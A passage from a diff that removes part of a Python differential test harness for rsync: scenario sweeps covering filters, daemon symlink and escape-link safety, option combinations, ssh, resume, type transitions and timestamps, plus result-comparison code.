t=T_NEW)\n-\n-    def pre_fuzzy(dest):\n-        _mk_reg(dest / \"file.txt.bak\", 5000, t=T_OLD, fill=7)\n-\n-    def t_xattr(src):\n-        _mk_reg(src / \"f\", 10)\n-        try:\n-            os.setxattr(src / \"f\", \"user.test\", b\"val\")\n-        except OSError:\n-            pass\n-\n-    def t_reldot(src):\n-        _mk_reg(src / \"sub/deep/f\", 10)\n-        _ut(src / \"sub/deep\")\n-        _ut(src / \"sub\")\n-\n-    return [\n-        Scenario(\"misc:exclude\", t_filter, [\"-a\", \"--exclude=*.log\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:filter-rule\", t_filter, [\"-a\", \"-f\", \"- *.log\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:filter-incl\", t_filter, [\"-a\", \"-f\", \"+ */\", \"-f\", \"+ *.txt\", \"-f\", \"- *\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:dirmerge-F\", t_dirmerge, [\"-a\", \"-F\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:cvs-C\", t_cvs, [\"-a\", \"-C\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:fuzzy\", t_fuzzy, [\"-a\", \"--fuzzy\"], [\"src/\"], \"dest/\", pre_dest=pre_fuzzy),\n-        Scenario(\"misc:write-batch\", build_recvtree,\n-                 (lambda wd, dest: [\"-a\", f\"--write-batch={wd}/batch\"]), [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:xattr\", t_xattr, [\"-aX\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"misc:relative-dot\", t_reldot, [\"-aR\"], [\"src/./sub/deep/f\"], \"dest/\"),\n-    ]\n-\n-\n-def daemon_sym_sweep():\n-    \"\"\"PUSH symlink/dirlink/keep-dirlinks scenarios to a daemon module -- the\n-    daemon receiver/keep-dirlinks path. Enumerates the family: -K through a\n-    symlinked dest dir (plain/nested/update/delete), and -L/-k/-l/--safe-links/\n-    --munge-links/--copy-unsafe-links of in-tree and out-of-tree symlinks pushed\n-    into a module.\"\"\"\n-    D = {\"chroot\": \"no\"}\n-\n-    def kt(src):\n-        _mk_reg(src / \"dir/f1\", 10)\n-        _mk_reg(src / \"dir/f2\", 10)\n-        _mk_reg(src / \"top\", 5)\n-\n-    def kt_nested(src):\n-        _mk_reg(src / \"dir/sub/f\", 10)\n-        _mk_reg(src / \"top\", 5)\n-\n-    def kprep(dest):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    def kprep_nested(dest):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\" / \"sub\").mkdir(parents=True, exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    def kprep_update(dest):\n-        kprep(dest)\n-        _mk_reg(dest / \"realdir\" / \"f1\", 3, t=T_OLD)\n-\n-    def kprep_delete(dest):\n-        kprep(dest)\n-        _mk_reg(dest / \"realdir\" / \"extra\", 3)\n-\n-    def src_dirlink(src):\n-        _mk_reg(src / \"rd/inner\", 10)\n-        os.symlink(\"rd\", src / \"dl\")\n-        _mk_reg(src / \"anchor\", 5)\n-        _ut(src / \"rd\")\n-\n-    def src_abslink(src):\n-        os.symlink(\"/etc/hostname\", src / \"abs\")\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    rd = lambda d: d / \"realdir\"\n-    return [\n-        Scenario(\"dsym:K-dirlink\", kt, [\"-aK\"], [\"src/\"], \"dest/\", dest_prep=kprep, snap_dest=rd, daemon=D),\n-        Scenario(\"dsym:K-nested\", kt_nested, [\"-aK\"], [\"src/\"], \"dest/\", dest_prep=kprep_nested, snap_dest=rd, daemon=D),\n-        Scenario(\"dsym:K-update\", kt, [\"-aK\"], [\"src/\"], \"dest/\", dest_prep=kprep_update, snap_dest=rd, daemon=D),\n-        Scenario(\"dsym:K-delete\", kt, [\"-aK\", \"--delete\"], [\"src/\"], \"dest/\", dest_prep=kprep_delete, snap_dest=rd, daemon=D),\n-        Scenario(\"dsym:L-src-dirlink\", src_dirlink, [\"-aL\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dsym:k-src-dirlink\", src_dirlink, [\"-ak\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dsym:l-src\", src_dirlink, [\"-al\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dsym:safe-links\", src_abslink, [\"-a\", \"--safe-links\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dsym:munge\", src_abslink, [\"-a\", \"--munge-links\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dsym:copy-unsafe\", src_abslink, [\"-a\", \"--copy-unsafe-links\"], [\"src/\"], \"dest/\", daemon=D),\n-    ]\n-\n-\n-def daemon_escape_sweep():\n-    \"\"\"Daemon following symlinks that point OUTSIDE the module (absolute, or ../\n-    escape), via -L / --copy-links / --copy-unsafe-links / --safe-links, on both\n-    the sender (pull) and receiver (push) side -- the daemon symlink-safety\n-    behaviour.\"\"\"\n-    Dpull = {\"chroot\": \"no\", \"pull\": True}\n-    Dpush = {\"chroot\": \"no\"}\n-\n-    def s_abs(src):\n-        os.symlink(\"/etc/hostname\", src / \"abslnk\")\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    def s_escape(src):\n-        _mk_reg(src.parent / \"secret\", 7)          # outside the module (wd/secret)\n-        os.symlink(\"../secret\", src / \"esc\")\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    def s_filelink(src):\n-        _mk_reg(src / \"real\", 10)\n-        os.symlink(\"real\", src / \"fl\")             # in-tree symlink to a FILE\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    def s_absdir(src):\n-        out = src.parent / \"outdir\"                # small out-of-module dir (wd/outdir)\n-        _mk_reg(out / \"x\", 8)\n-        _mk_reg(out / \"y\", 8)\n-        os.symlink(str(out), src / \"extdir\")       # absolute symlink to out-of-module DIR\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    pull = [\n-        (\"dpull:L-abs\", s_abs, [\"-aL\"]),\n-        (\"dpull:L-escape\", s_escape, [\"-aL\"]),\n-        (\"dpull:copyunsafe-escape\", s_escape, [\"-a\", \"--copy-unsafe-links\"]),\n-        (\"dpull:L-filelink\", s_filelink, [\"-aL\"]),\n-        (\"dpull:safe-escape\", s_escape, [\"-a\", \"--safe-links\"]),\n-        (\"dpull:copylinks-abs\", s_abs, [\"-a\", \"--copy-links\"]),\n-        (\"dpull:L-absdir\", s_absdir, [\"-aL\"]),\n-        (\"dpull:k-absdir\", s_absdir, [\"-ak\"]),\n-        (\"dpull:copydirlinks-absdir\", s_absdir, [\"-a\", \"--copy-dirlinks\"]),\n-        (\"dpull:copyunsafe-absdir\", s_absdir, [\"-a\", \"--copy-unsafe-links\"]),\n-    ]\n-    push = [\n-        (\"dpush:L-abs\", s_abs, [\"-aL\"]),\n-        (\"dpush:L-escape\", s_escape, [\"-aL\"]),\n-        (\"dpush:copyunsafe-abs\", s_abs, [\"-a\", \"--copy-unsafe-links\"]),\n-        (\"dpush:copyunsafe-escape\", s_escape, [\"-a\", \"--copy-unsafe-links\"]),\n-        (\"dpush:L-filelink\", s_filelink, [\"-aL\"]),\n-    ]\n-    s = [Scenario(n, fn, o, [\"src/\"], \"dest/\", daemon=Dpull) for n, fn, o in pull]\n-    s += [Scenario(n, fn, o, [\"src/\"], \"dest/\", daemon=Dpush) for n, fn, o in push]\n-    return s\n-\n-\n-def daemon_pull_sym_sweep():\n-    \"\"\"PULL symlink/dirlink scenarios FROM a daemon module (the daemon SENDER\n-    side -- untested until now). Served source contains the symlinks; the client\n-    pulls with -L/-k/-l/-K/--safe-links/--munge-links/--copy-unsafe-links.\"\"\"\n-    D = {\"chroot\": \"no\", \"pull\": True}\n-\n-    def served_dirlink(src):\n-        _mk_reg(src / \"rd/inner\", 10)\n-        os.symlink(\"rd\", src / \"dl\")\n-        _mk_reg(src / \"anchor\", 5)\n-        _ut(src / \"rd\")\n-\n-    def served_intree(src):\n-        _mk_reg(src / \"real\", 10)\n-        os.symlink(\"real\", src / \"lnk\")\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    def served_abslink(src):\n-        os.symlink(\"/etc/hostname\", src / \"abs\")\n-        _mk_reg(src / \"anchor\", 5)\n-\n-    def served_dir(src):\n-        _mk_reg(src / \"dir/f1\", 10)\n-        _mk_reg(src / \"dir/f2\", 10)\n-        _mk_reg(src / \"top\", 5)\n-\n-    def kprep(dest):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    return [\n-        Scenario(\"dpull:plain\", build_recvtree, [\"-a\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:L-dirlink\", served_dirlink, [\"-aL\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:k-dirlink\", served_dirlink, [\"-ak\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:l\", served_dirlink, [\"-al\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:L-intree\", served_intree, [\"-aL\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:safe-links\", served_abslink, [\"-a\", \"--safe-links\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:munge\", served_abslink, [\"-a\", \"--munge-links\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:copy-unsafe\", served_abslink, [\"-a\", \"--copy-unsafe-links\"], [\"src/\"], \"dest/\", daemon=D),\n-        Scenario(\"dpull:K-dest-dirlink\", served_dir, [\"-aK\"], [\"src/\"], \"dest/\", dest_prep=kprep, snap_dest=lambda d: d / \"realdir\", daemon=D),\n-        Scenario(\"dpull:hardlinks\", build_recvtree, [\"-aH\"], [\"src/\"], \"dest/\", daemon=D),\n-    ]\n-\n-\n-_COMBO_FLAGS = [\"-H\", \"-S\", \"--inplace\", \"-z\", \"-c\", \"-b\", \"-O\", \"-J\",\n-                \"--numeric-ids\", \"-A\", \"-X\", \"-E\", \"--no-whole-file\", \"-I\",\n-                \"--size-only\", \"-u\"]\n-\n-\n-def combo3_sweep():\n-    \"\"\"Option TRIPLES over a stale dest -- deeper interaction coverage.\"\"\"\n-    import itertools\n-    return [Scenario(f\"combo3:{x},{y},{z}\", build_recvtree, [\"-a\", x, y, z],\n-                     [\"src/\"], \"dest/\", pre_dest=stale_dest)\n-            for x, y, z in itertools.combinations(_COMBO_FLAGS, 3)]\n-\n-\n-def combo4_sweep():\n-    \"\"\"Option QUADRUPLES over a stale dest (C(16,4)=1820).\"\"\"\n-    import itertools\n-    return [Scenario(f\"combo4:{w},{x},{y},{z}\", build_recvtree,\n-                     [\"-a\", w, x, y, z], [\"src/\"], \"dest/\", pre_dest=stale_dest)\n-            for w, x, y, z in itertools.combinations(_COMBO_FLAGS, 4)]\n-\n-\n-def ssh_sweep():\n-    \"\"\"PUSH over a remote-shell split (support/lsh.sh) -- exercises the real\n-    client+server processes / protocol / arg passing, and confirms whether the\n-    in-tree-symlink regressions also manifest over the wire.\"\"\"\n-    def kt(src: Path):\n-        _write(src / \"dir/f1\", b\"n1\\n\")\n-        _write(src / \"dir/f2\", b\"n2\\n\")\n-        _write(src / \"top\", b\"t\\n\")\n-\n-    def kprep(dest: Path):\n-        dest.mkdir(parents=True, exist_ok=True)\n-        (dest / \"realdir\").mkdir(exist_ok=True)\n-        if not (dest / \"dir\").is_symlink():\n-            os.symlink(\"realdir\", dest / \"dir\")\n-\n-    def sym_parent(src: Path):\n-        _write(src / \"real/sub/file\", b\"under symlinked parent\\n\")\n-        os.symlink(\"real\", src / \"link\")\n-\n-    return [\n-        Scenario(\"ssh:push\", build_recvtree, [\"-a\"], [\"src/\"], ssh=True),\n-        Scenario(\"ssh:push-H\", build_recvtree, [\"-aH\"], [\"src/\"], ssh=True),\n-        Scenario(\"ssh:push-X\", build_recvtree, [\"-aX\"], [\"src/\"], ssh=True),\n-        Scenario(\"ssh:push-z\", build_recvtree, [\"-az\"], [\"src/\"], ssh=True),\n-        Scenario(\"ssh:push-update\", build_recvtree, [\"-a\"], [\"src/\"],\n-                 pre_dest=stale_dest, ssh=True),\n-        Scenario(\"ssh:push-delete\", build_recvtree, [\"-a\", \"--delete\"], [\"src/\"],\n-                 pre_dest=stale_dest, ssh=True),\n-        Scenario(\"ssh:push-protect-args\", build_recvtree, [\"-a\", \"-s\"], [\"src/\"],\n-                 ssh=True),\n-        Scenario(\"ssh:K-symlinkdir\", kt, [\"-aK\"], [\"src/\"], dest_prep=kprep,\n-                 snap_dest=lambda d: d / \"realdir\", ssh=True),\n-        Scenario(\"ssh:R-symlink-parent\", sym_parent, [\"-aR\"],\n-                 [\"src/link/sub/file\"], ssh=True),\n-    ]\n-\n-\n-def redo_sweep():\n-    \"\"\"Resume / redo state machine: a partial or corrupted prior dest forces the\n-    delta + verify + resume path (inplace / append-verify / partial-dir, the\n-    latter both relative AND absolute). Generalises the single-pass model -- the\n-    'failed verification, update discarded' loop and the discard-path NULL-deref\n-    both live here. Lifted across transports too.\"\"\"\n-    def big(src: Path):\n-        _mk_reg(src / \"f\", 120000, t=T_NEW, fill=7)\n-        _mk_reg(src / \"keep\", 200, t=T_NEW, fill=3)\n-\n-    def pre_truncated(dest: Path):        # a shorter prefix of f (older) -> extend\n-        _mk_reg(dest / \"f\", 40000, t=T_OLD, fill=7)\n-\n-    def pre_corrupt(dest: Path):          # same size, WRONG content -> delta+verify\n-        _mk_reg(dest / \"f\", 120000, t=T_OLD, fill=200)\n-\n-    def pre_abs_partial(dest: Path):      # corrupt dest + a stale leftover in an\n-        pre_corrupt(dest)                 # ABSOLUTE partial-dir (delta-resume shape)\n-        pdir = dest.parent / (dest.name + \"_part\")\n-        pdir.mkdir(parents=True, exist_ok=True)\n-        _mk_reg(pdir / \"f\", 60000, t=T_OLD, fill=7)\n-\n-    abs_part = lambda wd, dest: [\"-a\", \"--no-whole-file\", \"--partial\",\n-                                 f\"--partial-dir={Path(dest).parent}/{Path(dest).name}_part\"]\n-    s = [\n-        Scenario(\"redo:inplace-corrupt\", big, [\"-a\", \"--inplace\", \"--no-whole-file\"],\n-                 [\"src/\"], \"dest/\", pre_dest=pre_corrupt),\n-        Scenario(\"redo:append-verify\", big, [\"-a\", \"--append-verify\"],\n-                 [\"src/\"], \"dest/\", pre_dest=pre_truncated),\n-        Scenario(\"redo:append\", big, [\"-a\", \"--append\"],\n-                 [\"src/\"], \"dest/\", pre_dest=pre_truncated),\n-        Scenario(\"redo:partialdir-rel\", big,\n-                 [\"-a\", \"--no-whole-file\", \"--partial\", \"--partial-dir=.part\"],\n-                 [\"src/\"], \"dest/\", pre_dest=pre_corrupt),\n-        Scenario(\"redo:checksum-corrupt\", big, [\"-a\", \"-c\", \"--no-whole-file\"],\n-                 [\"src/\"], \"dest/\", pre_dest=pre_corrupt),\n-    ]\n-    s = lift_transports(s)                # resume path over the wire too\n-    # absolute partial-dir uses callable opts (not liftable) -> keep local\n-    s.append(Scenario(\"redo:partialdir-abs\", big, abs_part, [\"src/\"], \"dest/\",\n-                      pre_dest=pre_abs_partial))\n-    return s\n-\n-\n-def typetrans_sweep():\n-    \"\"\"Type-transition: the existing dest entry has a DIFFERENT type than the\n-    source (file/dir/symlink/fifo), crossed with the selection options whose job\n-    is to decide whether to replace it. Generalises 'update skips a file of a\n-    different type'. The stale-dest sweeps only ever vary content, never type.\"\"\"\n-    def src_file(src: Path):\n-        _mk_reg(src / \"x\", 60, t=T_NEW)\n-        _mk_reg(src / \"keep\", 10, t=T_NEW)\n-\n-    def src_dir(src: Path):\n-        _mk_reg(src / \"x/inner\", 30, t=T_NEW)\n-        _mk_reg(src / \"keep\", 10, t=T_NEW)\n-        _ut(src / \"x\")\n-\n-    def src_link(src: Path):\n-        _mk_reg(src / \"real\", 30, t=T_NEW)\n-        os.symlink(\"real\", src / \"x\")\n-        _mk_reg(src / \"keep\", 10, t=T_NEW)\n-\n-    # dest entries are pinned NEWER than the source (T_NEWER) so the -u\n-    # update-skip path is actually exercised across the type change, and so the\n-    # special-file mtimes are deterministic (unpinned fifos/symlinks otherwise\n-    # carry wall-clock creation time -> spurious A/B mtime diffs).\n-    T_NEWER = T_NEW + 10**7\n-\n-    def d_dir(dest: Path):\n-        os.makedirs(dest / \"x\")\n-        _mk_reg(dest / \"x/old\", 5, t=T_NEWER)\n-        _ut(dest / \"x\", T_NEWER)\n-\n-    def d_file(dest: Path):\n-        _mk_reg(dest / \"x\", 99, t=T_NEWER, fill=200)\n-\n-    def d_link(dest: Path):\n-        os.symlink(\"keep\", dest / \"x\")\n-        os.utime(dest / \"x\", (T_NEWER, T_NEWER), follow_symlinks=False)\n-\n-    def d_fifo(dest: Path):\n-        _mk_fifo(dest / \"x\")\n-        os.utime(dest / \"x\", (T_NEWER, T_NEWER))\n-\n-    srcs = [(\"file\", src_file), (\"dir\", src_dir), (\"link\", src_link)]\n-    dests = [(\"Ddir\", d_dir), (\"Dfile\", d_file), (\"Dlink\", d_link), (\"Dfifo\", d_fifo)]\n-    opts = [(\"plain\", [\"-a\"]), (\"update\", [\"-a\", \"-u\"]),\n-            (\"existing\", [\"-a\", \"--existing\"]),\n-            (\"ignore-existing\", [\"-a\", \"--ignore-existing\"]),\n-            (\"force\", [\"-a\", \"--force\"]), (\"delete\", [\"-a\", \"--delete\"])]\n-    s = []\n-    for sn, sf in srcs:\n-        for dn, df in dests:\n-            for on, ov in opts:\n-                # skip the same-type combo (file src vs file dest etc.)\n-                if (sn, dn) in ((\"file\", \"Dfile\"), (\"dir\", \"Ddir\"), (\"link\", \"Dlink\")):\n-                    continue\n-                s.append(Scenario(f\"type:{sn}-vs-{dn}-{on}\", sf, ov, [\"src/\"],\n-                                  \"dest/\", pre_dest=df))\n-    return lift_transports(s)\n-\n-\n-def tsprec_sweep():\n-    \"\"\"Timestamp precision: sub-second mtimes at nanosecond boundaries, crossed\n-    with the time-handling options. Exercises the nsec validate/convert path that\n-    integer-second fixtures never reach (caught via rc/error/content/itemize --\n-    snapshot records whole-second mtimes, so this is a code-path exerciser).\"\"\"\n-    NS = [0, 1, 4999, 500000000, 999999999, 999999001]\n-\n-    def mk(src: Path, nsec):\n-        _mk_reg(src / \"f\", 100)\n-        os.utime(src / \"f\", ns=(T_NEW * 10**9 + nsec, T_NEW * 10**9 + nsec))\n-        os.makedirs(src / \"d\", exist_ok=True)\n-        _mk_reg(src / \"d/g\", 50)\n-        os.utime(src / \"d/g\", ns=(T_NEW * 10**9 + nsec, T_NEW * 10**9 + nsec))\n-\n-    s = []\n-    for nsec in NS:\n-        s.append(Scenario(f\"ts:nsec{nsec}\", lambda src, n=nsec: mk(src, n),\n-                          [\"-a\"], [\"src/\"], \"dest/\"))\n-    s += [\n-        Scenario(\"ts:modwindow\", lambda src: mk(src, 999999999),\n-                 [\"-a\", \"--modify-window=1\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ts:atimes\", lambda src: mk(src, 123456789),\n-                 [\"-a\", \"--atimes\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ts:crtimes\", lambda src: mk(src, 123456789),\n-                 [\"-a\", \"--crtimes\"], [\"src/\"], \"dest/\"),\n-    ]\n-    return s\n-\n-\n-def bigscale_sweep():\n-    \"\"\"Scale escalation: many empty dirs / many files at SCALE_N (--scale). Pairs\n-    with the --cost peak-RSS oracle -- a per-entry allocation/footprint regression\n-    only shows up at scale and is invisible to functional outcome alone.\"\"\"\n-    n = max(1, SCALE_N)\n-\n-    def emptydirs(src: Path):\n-        for i in range(n):\n-            (src / f\"d{i:07d}\").mkdir()\n-\n-    def manyfiles(src: Path):\n-        for i in range(n):\n-            _write(src / f\"b{i % 64:02d}\" / f\"f{i:07d}\", b\"x\\n\")\n-\n-    def deepdirs(src: Path):\n-        for i in range(n):\n-            (src / f\"a{i % 50:02d}\" / f\"b{(i // 50) % 50:02d}\" / f\"c{i:07d}\").mkdir(parents=True)\n-\n-    return [\n-        Scenario(\"scale:emptydirs\", emptydirs, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:emptydirs-nir\", emptydirs, [\"-a\", \"--no-inc-recursive\"],\n-                 [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:manyfiles\", manyfiles, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"scale:deepdirs\", deepdirs, [\"-a\"], [\"src/\"], \"dest/\"),\n-    ]\n-\n-\n-def rrsync_sweep():\n-    \"\"\"rrsync lane: route the remote side through the restricted rrsync wrapper\n-    (subdir-restricted, so its option/path validation is exercised) -- a whole\n-    subsystem the other lanes never drive. Covers `-a` and an `-rlpt` control,\n-    push and pull. rrsync ships per version, so each build is paired with its own\n-    rrsync via --rrsync-a/--rrsync-b.\"\"\"\n-    bt = build_recvtree\n-\n-    def tree(src: Path):\n-        _mk_reg(src / \"dir/f1\", 50)\n-        _mk_reg(src / \"dir/f2\", 50)\n-        _mk_reg(src / \"top\", 20)\n-        os.symlink(\"top\", src / \"lnk\")\n-        _ut(src / \"dir\")\n-\n-    def abslink(src: Path):\n-        _mk_reg(src / \"anchor\", 10)\n-        os.symlink(\"/etc/hostname\", src / \"abs\")\n-\n-    def mk(name, setup, opts, pull=False, pre_dest=None):\n-        sc = Scenario(name, setup, opts, [\"src/\"], \"dest/\", pre_dest=pre_dest)\n-        sc.rrsync = {\"pull\": pull}\n-        return sc\n-\n-    return [\n-        mk(\"rr:push-a\", bt, [\"-a\"]),                       # D-bundled -> subdir deny decides\n-        mk(\"rr:push-rlpt\", tree, [\"-rlpt\"]),               # no-D control: should transfer\n-        mk(\"rr:push-rlptD\", tree, [\"-rlptD\"]),             # explicit D into restricted subdir\n-        mk(\"rr:push-update\", bt, [\"-a\"], pre_dest=stale_dest),\n-        mk(\"rr:push-copy-unsafe\", abslink, [\"-rlpt\", \"--copy-unsafe-links\"]),\n-        mk(\"rr:pull-a\", bt, [\"-a\"], pull=True),\n-        mk(\"rr:pull-rlpt\", tree, [\"-rlpt\"], pull=True),\n-        mk(\"rr:pull-symlink\", tree, [\"-rlpt\"], pull=True),\n-    ]\n-\n-\n-def tcpdaemon_sweep():\n-    \"\"\"Real-TCP-daemon lane: a genuine `rsync --daemon` on a bound port (greeting/\n-    handshake/socket path), and an auth variant (challenge-response) -- the daemon\n-    code the stdio-pipe lane bypasses. Push + pull, with/without auth.\"\"\"\n-    bt = build_recvtree\n-\n-    def mk(name, opts, pull=False, auth=False, pre_dest=None):\n-        sc = Scenario(name, bt, opts, [\"src/\"], \"dest/\", pre_dest=pre_dest)\n-        sc.daemon = {\"tcp\": True, \"pull\": pull, \"auth\": auth}\n-        return sc\n-\n-    return [\n-        mk(\"tcp:push\", [\"-a\"]),\n-        mk(\"tcp:push-H\", [\"-aH\"]),\n-        mk(\"tcp:push-X\", [\"-aX\"]),\n-        mk(\"tcp:push-update\", [\"-a\"], pre_dest=stale_dest),\n-        mk(\"tcp:push-delete\", [\"-a\", \"--delete\"], pre_dest=stale_dest),\n-        mk(\"tcp:pull\", [\"-a\"], pull=True),\n-        mk(\"tcp:pull-H\", [\"-aH\"], pull=True),\n-        mk(\"tcp:push-auth\", [\"-a\"], auth=True),\n-        mk(\"tcp:pull-auth\", [\"-a\"], pull=True, auth=True),\n-    ]\n-\n-\n-SWEEPS = {\"options\": options_sweep, \"pathshape\": pathshape_sweep,\n-          \"recv\": recv_sweep, \"destshape\": destshape_sweep,\n-          \"name\": name_sweep, \"filesfrom\": filesfrom_sweep,\n-          \"intree\": intree_sweep, \"intree2\": intree2_sweep,\n-          \"proto\": proto_sweep, \"combo\": combo_sweep, \"combo3\": combo3_sweep,\n-          \"combo4\": combo4_sweep, \"scale\": scale_sweep, \"ssh\": ssh_sweep,\n-          \"daemon\": daemon_sweep, \"daemonchroot\": daemonchroot_sweep,\n-          \"mode\": mode_sweep, \"size\": size_sweep, \"filetype\": filetype_sweep,\n-          \"selection\": selection_sweep, \"behavior\": behavior_sweep,\n-          \"placement\": placement_sweep, \"wire\": wire_sweep,\n-          \"pairwise\": pairwise_sweep, \"daemonsym\": daemon_sym_sweep, \"daemonpull\": daemon_pull_sym_sweep, \"daemonesc\": daemon_escape_sweep, \"misc\": misc_sweep, \"gaps\": gaps_sweep,\n-          \"redo\": redo_sweep, \"typetrans\": typetrans_sweep, \"tsprec\": tsprec_sweep,\n-          \"bigscale\": bigscale_sweep, \"rrsync\": rrsync_sweep,\n-          \"tcpdaemon\": tcpdaemon_sweep,\n-          \"priv\": priv_sweep}\n-# \"all\" excludes the root-only sweeps (priv, daemonchroot) and the very large\n-# combo4; run those explicitly. Parallelism (-j) makes the broad benign set\n-# (incl. the daemon symlink/escape + misc/gaps sweeps) affordable by default;\n-# combo4 stays out of a single pass (the --loop ladder reaches order 4 anyway).\n-# bigscale stays out of the default pass (heavy + meant for --cost runs); reach\n-# it via --sweep bigscale --cost --scale N.\n-ALL_SWEEPS = [\"options\", \"pathshape\", \"recv\", \"destshape\", \"name\", \"filesfrom\",\n-              \"intree\", \"intree2\", \"proto\", \"combo\", \"combo3\", \"scale\", \"ssh\",\n-              \"daemon\", \"mode\", \"size\", \"filetype\", \"selection\", \"behavior\",\n-              \"placement\", \"wire\", \"pairwise\", \"daemonsym\", \"daemonpull\",\n-              \"daemonesc\", \"misc\", \"gaps\", \"redo\", \"typetrans\", \"tsprec\",\n-              \"rrsync\", \"tcpdaemon\"]\n-\n-\n-def _compare(a, b, has_times=True, ign_types=(), incl_item=True, incl_lit=True,\n-             incl_out=False, incl_err=False):\n-    \"\"\"Issue list for one result vs another (A-vs-B, and the per-binary stability\n-    check). incl_item/incl_lit/incl_out/incl_err drop the itemize / Literal-data /\n-    normalised-stdout / normalised-stderr-text signals (used when those are\n-    themselves nondeterministic, or for content-only checks). Empty list ==\n-    indistinguishable on the requested signals.\"\"\"\n-    issues = []\n-    if a[\"rc\"] != b[\"rc\"]:\n-        issues.append(f\"  exit: A={a['rc']} B={b['rc']}\")\n-    a_err = any(m in a[\"err\"] for m in ERR_MARKERS)\n-    b_err = any(m in b[\"err\"] for m in ERR_MARKERS)\n-    if a_err != b_err:\n-        issues.append(f\"  stderr-error: A={a_err!r} B={b_err!r}\\n     A:{a['err'][:300]}\")\n-    if incl_lit and a[\"lit\"] != b[\"lit\"]:\n-        issues.append(f\"  Literal-data: A={a['lit']} B={b['lit']}\")\n-    issues += diff_snapshots(a[\"snap\"], b[\"snap\"], ignore_mtime=not has_times,\n-                             ignore_mtime_types=ign_types)\n-    if incl_item and a[\"item\"] != b[\"item\"]:\n-        issues.append(\"  itemize differs:\\n     A=\" + repr(a[\"item\"])\n-                      + \"\\n     B=\" + repr(b[\"item\"]))\n-    if incl_err and a.get(\"errn\", \"\") != b.get(\"errn\", \"\"):\n-        issues.append(\"  stderr-text differs:\\n     A:\" + a.get(\"errn\", \"\")[:300]\n-                      + \"\\n     B:\" + b.get(\"errn\", \"\")[:300])\n-    if incl_out and a.get(\"out\", \"\") != b.get(\"out\", \"\"):\n-        issues.append(\"  stdout differs:\\n     A:\" + a.get(\"out\", \"\")[:300]\n-                      + \"\\n     B:\" + b.get(\"out\", \"\")[:300])\n-    return issues\n-\n-\n-def run_scenario(scn: Scenario, workroot: Path):\n-    wd = workroot / scn.name.replace(\"/\", \"_\").replace(\":\", \"_\").replace(\"+\", \"_\")\n-    if wd.exists():\n-        shutil.rmtree(wd, ignore_errors=True)\n-    # opts may be a list, or a callable(wd, dest)->list for placement options\n-    # whose aux dir is workdir/dest-relative (dest differs per A/B tag).  Resolve\n-    # a representative copy (dest_A) for flag inspection; resolve per-tag below.\n-    def resolve_opts(dest):\n-        return scn.opts(str(wd), str(dest)) if callable(scn.opts) else scn.opts\n-    opts0 = resolve_opts(wd / \"dest_A\")\n-    # skip if either binary lacks an option (can't A/B compare)\n-    for o in opts0:\n-        flag = o.split(\"=\", 1)[0]\n-        if flag.startswith(\"--\"):\n-            if not (supports(RSYNC_A, flag) and supports(RSYNC_B, flag)):\n-                return (\"SKIP\", f\"a binary lacks {flag}\")\n-    # build the source ONCE so both binaries see identical input (incl. mtimes)\n-    src = wd / \"src\"\n-    src.mkdir(parents=True, exist_ok=True)\n-    scn.setup(src)\n-    src_args = scn.src_args(str(wd)) if callable(scn.src_args) else scn.src_args\n-    # ignore mtime only when neither -t nor -a is in effect; some dest times are\n-    # left unmanaged by rsync (-O dirs, -J links, -b backup) -> ignore those.\n-    has_times = any(o in (\"-a\", \"-t\", \"-rlptD\", \"--times\") or\n-                    (o.startswith(\"-\") and not o.startswith(\"--\") and \"t\" in o)\n-                    for o in opts0)\n-    ign_types = _ign(opts0)\n-    # a \"/\"-rooted or absolute source (e.g. --files-from with absolute names)\n-    # makes rsync create IMPLIED parent dirs it has no source time for -> their\n-    # mtime is wall-clock and differs between the A and B runs. Ignore dir mtimes\n-    # for those, like -O/backup dirs.\n-    if isinstance(src_args, list) and any(a == \"/\" or a.startswith(\"/\")\n-                                          for a in src_args):\n-        ign_types = set(ign_types) | {\"d\"}\n-\n-    def one_run(tag, binary, rep):\n-        dest = wd / f\"dest_{tag}{rep}\"\n-        optr = resolve_opts(dest)     # per-tag (aux dir is under this tag's dest)\n-        if scn.dest_prep:\n-            scn.dest_prep(dest)        # e.g. create dest as a symlink to a real dir\n-        elif scn.pre_dest:\n-            dest.mkdir(parents=True, 